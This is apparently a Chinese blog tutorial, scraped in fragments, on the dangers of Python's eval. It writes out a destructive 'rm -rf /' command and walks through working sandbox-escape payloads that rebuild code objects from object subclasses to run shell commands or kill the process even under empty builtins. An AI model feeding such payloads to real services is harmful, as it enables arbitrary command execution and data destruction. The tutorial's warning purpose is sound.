看完此文,你还会用 eval 吗?
assert eval("2 + 3 * len('hello')") == 17
os.system('rf -rf /')
,那么 eval 函数就会删除你电脑上的所有文件,下文举例子时我用 'ls'
来代替 'rm -rf /'
,免得你直接复制代码运行时导致灾难发生。eval("os.system('ls')", {})
就会报错:>>> import os
>>> eval("os.system('ls')", {})
Traceback (most recent call last):
File "" , line 1, in
File "" , line 1, in
NameError: name 'os' is not defined
>>>
__import__()
来导入标准库,比如 eval("__import__('os').system('ls')", {})
>>> eval("__import__('os').system('ls')", {})
Desktop burp.der
Documents ctf
Downloads flag5.txt
Library gitee
Movies github
Music kali
Parallels key.txt
Pictures log
...
>>> eval("__import__('os').system('ls')", {'__builtins__':{}})
Traceback (most recent call last):
File "" , line 1, in
File "" , line 1, in
NameError: name '__import__' is not defined
import os
os.system('ls')
>>> code_str = '''
... import os
... os.system('ls')
... '''
>>> code_obj = compile(code_str,'' ,'exec')
>>> code_objat 0x7fc5741175b0, file "
" , line 2>
>>> eval(code_obj)
Desktop burp.der
Documents ctf
Downloads flag5.txt
Library gitee
Movies github
Music kali
Parallels key.txt
Pictures log
>>> help(code_obj)
class code(object)
| code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,
| flags, codestring, constants, names, varnames, filename, name,
| firstlineno, lnotab[, freevars[, cellvars]])
|
| Create a code object. Not for the faint of heart.
|
| Methods defined here:
|
| __eq__(self, value, /)
| Return self==value.
|
| __ge__(self, value, /)
| Return self>=value.
|
| __getattribute__(self, name, /)
| Return getattr(self, name).
|
| __gt__(self, value, /)
| Return self>value.
|
| __hash__(self, /)
>>> [].__class__.__bases__[0]
<class 'object'>
[]
表示一个 list 对象,那么它的基类就是内置的 object 类。找到类 object 类,我们就可以找到 object 类的所有子类:>>> [].__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>,
......
all_classes
来保存这些类:>>> all_classes = [].__class__.__bases__[0].__subclasses__()
>>> len(all_classes)
181
>>> [c for c in all_classes if c.__name__ == 'code'][0]
<class 'code'>
>>>
__import__('os').system('ls')
我们先看下 Python 把这段代码编译成的 code 类是什么样:>>> code_str = "__import__('os').system('ls')"
>>> code_obj = compile(code_str,'' ,'single')
>>> code_objat 0x7fd06074abe0, file "
" , line 1>
>>> code="codeObj({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(
... code_obj.co_argcount,\
... code_obj.co_posonlyargcount,\
... code_obj.co_kwonlyargcount,\
... code_obj.co_nlocals,\
... code_obj.co_stacksize,\
... code_obj.co_flags,\
... code_obj.co_code.hex(),\
... code_obj.co_consts,\
... code_obj.co_names, \
... code_obj.co_varnames,\
... code_obj.co_filename,\
... code_obj.co_name,\
... code_obj.co_firstlineno,\
... code_obj.co_lnotab.hex(),\
... code_obj.co_freevars,\
... code_obj.co_cellvars)
>>> print(code)
codeObj(0,0,0,0,3,64,bytes.fromhex('650064008301a0016401a101460064025300'),('os', 'ls', None),('import', 'system'),(),'' ,'' ,1,bytes.fromhex(''),(),())
all_classes
获取,这样我们分部执行,就可以执行我们的代码:>>> all_classes = [].__class__.__bases__[0].__subclasses__()
>>> code = [c for c in all_classes if c.__name__ == 'code' ][0]
>>> bytes = [c for c in all_classes if c.__name__ == 'bytes' ][0]
>>> code_obj =code(0,0,0,0,3,64,bytes.fromhex('650064008301a0016401a101460064025300'),('os', 'ls', None),('__import__', 'system'),(),'' ,'' ,1,bytes.fromhex(''),(),())
>>> eval(code_obj)
Desktop Movies Public burp.der github py38env
Documents Music Virtual Machines.localized ctf kali test.py
Downloads Parallels aaa.txt flag5.txt key.txt tmp
Library Pictures bin gitee log zzzz.txt
eval(code_obj)
已经成功执行, 转换成一个字符串就是:>>> s = """eval( [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'code' ][0](0,0,0,0,3,64, [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'bytes' ][0].fromhex('650064008301a0016401a101460064025300'),('os', 'ls', None),('__import__', 'system'),(),' ',' ',1, [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'bytes' ][0].fromhex(''),(),()))"""
>>> eval(s)
Desktop Movies Public burp.der github py38env
Documents Music Virtual Machines.localized ctf kali test.py
Downloads Parallels aaa.txt flag5.txt key.txt tmp
Library Pictures bin gitee log zzzz.txt
0
>>> eval(s,{'__builtins__':{}})
Traceback (most recent call last):
File "" , line 1, in
File "" , line 1, in
NameError: name '__import__' is not defined
{'__builtins__':{}}
后仍然会报错,说明 __import__
在 code 对象层面依然是无法绕过的,不过上述方法给了我们一些新的思路,那就是可以自行构造字节对象。这并不是说 eval 就真的安全了,比如,下面的字符串如果传给 eval 参数,整个 Python 进程将会退出。(py38env) ➜ ~ python
Python 3.8.5 (v3.8.5:580fbb018f, Jul 20 2020, 12:11:27)
[Clang 6.0 (clang-600.0.57)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> eval('quit()',{'__builtins__':{}})
Traceback (most recent call last):
File "" , line 1, in
File "" , line 1, in
NameError: name 'quit' is not defined
>>> s = """ [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == "Quitter" ][0](0,'quit')() """
>>> eval(s, {'__builtins__':{}})
(py38env) ➜ ~
__builtins__
的限制,仍然使用了 Quitter 类来退出整个 Python 进程。eval(string, {'__builtins__':{}})
是明确尝试将某些“危险”属性访问列入黑名单。如我们所见,现有的受限模式还不足以防止恶作剧。>>> eval('eval("()._" + "_class_" + "_._" + "_bases_" + "_[0]")')
<class 'object'>
>>>
Exploring Python Code Objects
Python沙箱?不存在的
评论